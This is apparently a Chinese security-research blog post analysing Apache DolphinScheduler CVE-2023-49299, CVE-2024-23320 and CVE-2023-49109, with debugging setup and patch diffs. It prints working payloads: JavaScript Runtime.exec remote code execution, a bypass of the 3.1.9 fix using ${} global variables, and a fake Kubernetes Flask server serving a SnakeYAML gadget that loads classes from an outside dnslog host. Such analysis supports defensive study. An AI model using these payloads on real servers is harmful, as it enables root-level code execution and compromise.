Apache DolphinScheduler 任意代码执行漏洞分析
2024-08-09 18:23:00

包括如下几个 cve:CVE-2023-49299 CVE-2024-23320

漏洞描述

Apache DolphinScheduler 是一个分布式、易扩展、可视化的工作流任务调度平台。
Apache DolphinScheduler 3.1.9之前版本中,由于 SwitchTaskUtils#evaluate 方法未对用户可控的 expression 参数进行校验,经过身份验证的攻击者可在创建任务时传入恶意的任务内容,在服务端以 root 身份执行可逃逸沙箱的任意 js 代码。

根据漏洞描述,可以确定补丁应该是打在了 3.1.9 之前的版本,那我们可以找 3.1.8 版本进行分析
这里官网下一下源码,我的想法是生产机搭建 docker 镜像,远程接端口调试

环境搭建

一步一步来吧,环境搭建是漏洞复现和挖掘的第一步
https://dolphinscheduler.apache.org/zh-cn/docs/3.1.8/guide/start/docker
这里我选择是官方 3.1.8 的 docker 镜像,根据他官方使用手册来做能够顺利搭建起来
但是这里最主要的问题是如何连接远程调试
首先就是要重新起一个容器,一开始的 docker run 只开放了两个端口,这里我们还需要开一个端口用来远程连接

1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 5005:5005 -d apache/dolphinscheduler-standalone-server:"${DOLPHINSCHEDULER_VERSION}"

我选择 5005 端口用来远程调试,run 起来之后,进入容器

1
docker exec -it ContainerID /bin/bash

然后找到它的 start.sh 文件,添加上这么一句话

1
-Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n

image.png
保存退出即可(这里可能容器没下 vim,apt update 更新一下就能下载了)
然后 docker restart,此时容器的 5005 端口就被视为了调试端口
然后是 idea 的设置,首先你源码得下下来,然后把依赖打上,之后 Configurations 选项中添加一个远程调试的选项,这么设置即可,这里 HOST 看你选的生产机的 ip 是多少,我这里是自己的 ubuntu 的虚拟机搭建的
image.png
设置好之后可以开启调试,如果出现 connected 字样,那就是说明远程调试连接成功了
image.png

CVE-2023-49299 CVE-2024-23320

漏洞点分析

根据漏洞描述,我们可以在源码中定位到最终的代码执行点
定位到DolphinScheduler 模块,utils 包下的 SwitchTaskUtils 类,在 3.1.8 版本,也就是最后一个尚未修复的版本中,如果存在功能点调用了其 evaluate 方法,是不会有任何过滤的,能够直接执行
image.png
首先要明确这个类的作用是什么,evaluate 这个方法该如何触发?明确这个问题之后我们往上去寻找相关的调用
image.png
只有一处,SwitchTaskProcessor 类的 setSwitchResult 方法中,整体的逻辑由于不太清楚目的是什么,所以不太能读懂,关注最终的 evaluate 方法调用及相关即可
image.png
这里注意到传入 evaluate 方法的参数是 content,content 是经过 setTaskParams 方法处理之后得来的,做个标记,之后再来看,因为现在我们并不清楚这里一套流程走下来到底是由谁触发的
继续往上寻找setSwitchResult的相关调用
image.png
也是只有一处,当前类的 runTask 方法,其实到这就有点预感了,结合漏洞报告中的” 经过身份验证的攻击者可在创建任务时传入恶意的任务内容 “,也就是说我们当前是在走”创建任务,执行任务内容”的流程
image.png
再继续往上调用,有一层 run 方法的包装,里面只调用了 runTask 方法,这里继续往上寻找 run 方法的调用
image.png
找到了 BaseTaskProcessor 的 action 方法,大部分内容都是由一个 switch 函数填充,SwitchTaskProcessor类本身就是BaseTaskProcessor 的子类,所以这里我们可以猜测,BaseTaskProcessor 最先接收到执行请求,然后通过我们读取我们的提交行为,switch 到不同的 Processor 中执行不同的逻辑(这一点其实从 runner 包中就就能看出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@Override
public boolean action(TaskAction taskAction) {
........
try {
switch (taskAction) {
case STOP:
result = stop();
break;
case PAUSE:
result = pause();
break;
case TIMEOUT:
result = timeout();
break;
case SUBMIT:
result = submit();
break;
case RUN:
result = run();
break;
case DISPATCH:
result = dispatch();
break;
case RESUBMIT:
result = resubmit();
break;
default:
logger.error("unknown task action: {}", taskAction);
}
return result;

还有一点比较重要,此时 switch 中的判断参数叫做 TaskAction,任务行为,我们进后台是能够找到对应的板块的
image.png
那大致可以确定漏洞的触发是在创建完任务之后,执行任务时触发的,那也可以同时确定 content 内容的传值就是创建任务时的某个参数
这个任务并不是所有的类型都能够走到 SwitchTaskUtils 最终触发的地方,所以还一定是 Switch 类型的任务
这里我经过一段时间的摸索,发现任务的创建依赖于工作流,其实一个工作流就对应一个任务,我们创建任务的过程,其实就是在创建工作流的过程。然后一个项目中能够有很多个工作流,项目必须归属到一个租户上面,这个租户其实就是你当前容器的用户–root 即可
了解完上面这些,我们能够大致的走一遍工作流程了

0x01 工作流程分析

首先创建一个工作流,这是一个可视化的过程,DolphinScheduler 以图示来简化操作,这里我们就能够看到 SwitchTask 到底是个什么东西了
他其实就是工作流中的一个选项标签,本身就叫 switch,正常使用不报错的话,这么做即可
image.png
然后这里的设置肯定有一个部分是关于 content 参数的传递,这里可控文本就两个,我们描述或者条件选项,这里稍微打断点调试了一下,发现最终条件栏的数据会被接收,并且作为 Content 的内容
image.png
明白了这些就可以走一遍调试了
断点打在 submitTaskExec 的 taskProcessor.action(TaskAction.RUN); 处(这里注意,我们刚开始调试接收到的情况并非直接到 RUN 的 action 方法,而是 SUBMIT 分支和一个 DISPATCH 分支,它得先提交完这个请求,并且判断工作类中的部分类型之后进行 DISPATCH 分发,才能进行具体的部分 RUN处理)这个 submitTaskExec 方法其实也就是 action 方法上一级调用

image.png
跟进 RUN 方法
image.png
直至跟进到 runTask 的具体处理,他这里的逻辑其实是先获取各类信息之后,去执行 Switch 块的逻辑,并且 setSwitchResult 方法返回的是一个布尔值,用来检测我们正常的 Switch 执行逻辑是否出错
image.png
跟进到 setSwitchResult 方法
image.png
前面在获取一些基本信息,最为关键的获取是SwitchParameters switchParameters = taskInstance.getSwitchDependency();也就是从任务实体中获取到我们当前 Switch 的参数,它本身作为 switch 块,其中的条件设置就是参数设置,这也是为什么他要去执行 JS 代码的原因,得到的结果进行一个返回,达到一个 if 判断的效果
看一下最终的获取效果(这里我单独把 taskParams 拎了出来)
image.png
这里的switchResultVo,之后会被作为 for 循环的基本单位进行循环遍历,也就是后续的传入 setTaskParams 方法 info
image.png
跟进setTaskParams 看看参数处理
image.png
这里首先根据一个正则表达式创建了一个 Matcher 对象,这个 Matcher 对象的作用是用来专门匹配${...}内容的比较器(?),根绝结果来看,由于我们此时 content 的形式是var a=1;所以肯定不会符合格式要求,后续的 while 循环处理自然也不会跟进,直接跳到了最后的 return content
两个 MAP 的数据处理都是返回 null,这一点从 SwitchParameters 参数获取就看能看出
这里返回出去之后就是直接来到 evaluate 了
image.png
这里可以参考一下 JAVA 的 js 代码执行,ScriptEngine 本身就是用 java 来实现 JS 代码执行的扩展,所以它本质还是 java 代码的执行,里面能够任意写 java 代码

0x02 漏洞攻击实现

正常的传一个 JS 的 RCE 试试
image.png

1
function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("touch /tmp/stoocea")

看看容器内的 tmp 目录,执行成功
image.png

3.1.9 版本 diff 分析

0x01 源码 diff 分析

作者的想法是增加一个generateContentWithTaskParams方法在 SwitchTaskUtils 中
image.png
这个方法的使用呢是在SwitchTaskProcessor类的setSwitchResult方法中,也就是处理 Content 的地方
3.1.8 版本的逻辑是通过setTaskParams方法去处理 content
image.png
image.png
到了 3.1.9 之后,作者决定彻底去除这个方法,里面获取两个 Map 的逻辑解放出来,然后处理字段的逻辑交由 SwitchTaskUtils 中新增的generateContentWithTaskParams方法来完成
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static String generateContentWithTaskParams(String condition, Map<String, Property> globalParams,
Map<String, Property> varParams) {
String content = condition.replaceAll("'", "\"");
if (MapUtils.isEmpty(globalParams) && MapUtils.isEmpty(varParams)) {
throw new IllegalArgumentException("globalParams and varParams are both empty, please check it.");
}
Map<String, Property> params = Maps.newHashMap();
if (MapUtils.isNotEmpty(globalParams)) {
params.putAll(globalParams);
}
if (MapUtils.isNotEmpty(varParams)) {
params.putAll(varParams);
}
String originContent = content;
Pattern pattern = Pattern.compile(rgex);
Matcher m = pattern.matcher(content);
while (m.find()) {
String paramName = m.group(1);
Property property = params.get(paramName);
if (property == null) {
continue;
}
String value;
if (ParameterUtils.isNumber(property) || ParameterUtils.isBoolean(property)) {
value = "" + ParameterUtils.getParameterValue(property);
} else {
value = "\"" + ParameterUtils.getParameterValue(property) + "\"";
}
log.info("paramName:{},paramValue:{}", paramName, value);
content = content.replace("${" + paramName + "}", value);
}

// if not replace any params, throw exception to avoid illegal condition
if (originContent.equals(content)) {
throw new IllegalArgumentException("condition is not valid, please check it. condition: " + condition);
}
return content;
}

其实generateContentWithTaskParams 方法相较于之前的setTaskParams 的内容,只添加了如下代码:

1
2
3
4
5
6
String content = condition.replaceAll("'", "\"");
String originContent = content;

Pattern pattern = Pattern.compile(rgex);
Matcher m = pattern.matcher(content);

这里后续就是对 Matcher 的循环比对了,问题是这里还存了一个originContent,之后会有与 content 内容的比较,如果 content 在经历过 Matcher 之后内容不变,或者压根没进 while 循环,都会导致 content 内容和originContent 相同,然后直接抛出异常

1
2
3
 if (originContent.equals(content)) {
throw new IllegalArgumentException("condition is not valid, please check it. condition: " + condition);
}

铜鼓找不同我们找出了两个需要注意点,此时调试的时候还遇到了另外一个干扰点
全局变量不能为空,这里全局变量看了一会官方的开发手册,我们保存工作流的时候记得添加一个全局变量就行

1
2
3
if (MapUtils.isEmpty(globalParams) && MapUtils.isEmpty(varParams)) {
throw new IllegalArgumentException("globalParams and varParams are both empty, please check it.");
}

image.png

0x02 尝试绕过

所以总结起来我们一共需要绕过三个点
String content = condition.replaceAll("'", "\"");对于 payload 中的'被替换为了 \"转义后的双引号
if (MapUtils.isEmpty(globalParams) && MapUtils.isEmpty(varParams))设置一个全局变量,不让 if 判断走进去抛异常
以及 Matcher 在匹配的循环中,content 必须要有${xxxx}格式的字符串,不然无法进行替换,也就和 origincontent 产生不了差别
这里我们首先尝试如下 payload

1
function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("calc")${test}

这里稍微调试一下都能理解,其实${xxx}格式的字符串,在DolphinScheduler 中表示取全局变量,也就是从我们刚才保存工作流的同时设置的全局变量(暂时只发现这一个功能)
那么这里我 test 全局变量设置的是 nopstoocea
打断点调试一下
直接到generateContentWithTaskParams 的逻辑,前面获取到 switch 以及 condition(content) 的内容都是不变的

image.png

  1. content 照样获取,只是'被替换为了 \",几番尝试之后其实可以判定我们 payload 是不会收影响的
  2. 由于我们设置了 globalparams 所以 if (MapUtils.isEmpty(globalParams) && MapUtils.isEmpty(varParams))不会进去抛异常
  3. Matcher 的构造其实涉及到 content 以及全局变量,这里之后 while 循环,由于我们 content(switch 的条件内容 condition)中带有${test},正好被他的正则匹配到了,所以这里 while 循环初步 find 一定能够找到
  4. 进入之后 while 循环,其实它里面的内容就是将 content 内容中${test}一个一个替换出实际的值,并且会去掉${}外壳,通过键值对寻找的方式从 globals 或者 var 中替换真实的值,比如我们这里 test=>nopstoocea

那么后续 content 出来就是
image.png
之后肯定就会和 origincontent 不同了,然后返回这个 content 出去,顺利送入 evaluate
image.png
那其实绕过思路就出来了,我们把 payload 放入${}中就行,先尝试一下

image.png
然后保存工作流的时候,记得全局变量 payload 设置一下 payload:function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"touch /tmp/stooceashell\")
最终 content 就为我们设置的全局变量
image.png

CVE-2023-49109

0x01 初步定位

根据漏洞提送的报告,好像是一个 snakeyaml 反序列化漏洞
不过具体功能还是心里没有底,diff 一下源码
https://github.com/apache/dolphinscheduler/pull/14991/commits/5d03771107576910dd690f7f835f28ba17c11499
可以看到的是 createnamespace 以及 updatenamespace 这一块全部删除
image.png
只剩下这一段 controller

1
2
3
4
5
6
7
8
9
public Result createNamespace(@Parameter(hidden = true) @RequestAttribute(value = Constants.SESSION_USER) User loginUser,
@RequestParam(value = "namespace") String namespace,
@RequestParam(value = "clusterCode") Long clusterCode) {

Map<String, Object> result =
k8sNamespaceService.createK8sNamespace(loginUser, namespace, clusterCode);
return returnDataList(result);
}

也就是中间的处理逻辑都没有了,根据这段评论可以了解得到更新**K8sNamespace**的内容全部删除了,只剩下一段创建的逻辑
image.png
所以,本次改动将 createNamespace的内容和 upadateNamespace 的内容合并了,只剩下了createK8sNamespace(loginUser, namespace, clusterCode);的逻辑处理。当然这只是仅仅针对于 controller 路由的内容,当前 commit 下其实还有很多地方修改了,不过都是针对于当前功能实现逻辑的删除,我们跟进当前路由的逻辑即可

0x02 漏洞逻辑分析

diff 之后剩下了 k8sNamespaceService.createK8sNamespace(loginUser, namespace, clusterCode, limitsCpu, limitsMemory);,也就是说k8sNamespaceService.updateK8sNamespace被删除了,我们跟进的话,肯定是跟进updateK8sNamespace(事后走逻辑分析,这里其实不论是 create 还是 update 都能触发,因为两者实现功能的逻辑是一样的,不然两个功能为什么能合并呢)
image.png
调试环境都是一样的使用 idea 远程调试,docker 环境也还是之前的,只要不是 3.2.1 版本及以后的就行
触发点在哪呢?
那么根据路由的 english,应该就是找 k8s 的 createnamespace 或者 update 都行
翻找一下后台应该很容易就找到了,limitcpu,limitsMemory 都能正确对应
image.png
这里随便填数据之后,断点打在 create 就行
image.png
这里跟进之后会发现有一段 if 判断逻辑过不去,也就是我们首次跟进createK8sNamespace的时候,获取数据以及 set 属性变量之后,他会判断我们当前指定的集群环境是否为已有或已经加载的集群环境,如果是的话,就不会进入 yaml 的字符串处理和加载了,所以这里我们需要新建一段集群环境
image.png

直到这里遇到了很大的问题,这里我选择的是 docke 环境搭建,在后台创建集群环境需要按照正常的格式去写配置信息,写了之后还没完,它是真会往你所写的地址上找同名的 namespace,不然最后将找到的 namespace list 的时候会报空错,也就是找不到有效的 namespace。这里我实在没有学过 k8s 相关的内容,去请教了 drunkbaby 师傅,推荐了一篇文章,这才找到了正解。(顺便吐槽一些文章,说环境不行,直接 idea evaluate expression 执行 yaml.loadAs。。可能是我水平不够,就喜欢钻这些点吧)

参考文章如下
https://xz.aliyun.com/t/13981

1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: v1
clusters:
- cluster:
server: http://127.0.0.1:5000
name: kubernetes
contexts:
- context:
cluster: kubernetes
name: kubernetes-admin@kubernetes
current-context: kubernetes-admin@kubernetes
kind: Config
preferences: {}
users: []

师傅的本地 flask 脚本要改一下,下面这段 flaskpy 代码的内容,大致就是伪造了一个集群 server,保证对方在目标集群中查询 namespace 的时候能够找到同名的 namespace,这也是为什么我们伪造集群中的 namespace 的 name 是那一段 yamlpayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/api/v1/namespaces', methods=['GET','POST'])
def get_namespaces():
namespaces = {
"kind": "NamespaceList",
"apiVersion": "v1",
"metadata": {
"selfLink": "/api/v1/namespaces",
"resourceVersion": "123456"
},
"items": [
{
"metadata": {
"name": "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"
175i4z.dnslog.cn\"]]]]",
"uid": "9c8b7a6f",
"creationTimestamp": "2024-02-22T12:00:00Z"
},
"spec": {
"finalizers": []
},
"status": {
"phase": "Active"
}
}
]
}
return jsonify(namespaces)

if __name__ == '__main__':
app.run(debug=True,host='192.168.86.135')

后续就能够跟进到upsertNamespacedResourceToK8s(k8sNamespace, yamlStr)中执行 yaml 代码了,后续就不跟进了,这一段基本功看的我五体投地

补充一点忘记写了:
这里 yaml 代码的获取是在上述upsertNamespaceToK8s方法中,他会获取到我们传入的 namespace,执行 getNamespaceFromK8s 方法
image.png
我们跟进getNamespaceFromK8s,这里的逻辑是创建一段标准的 namespaceyaml 格式 字符串,然后根据${}标识符替换内容,我们传参的 namespace 就是在这一步被替换上去的,具体的由于时间过久了,这一部分是我事后补充的,搭建环境就没复现了,师傅们可以自己跟进一波
image.png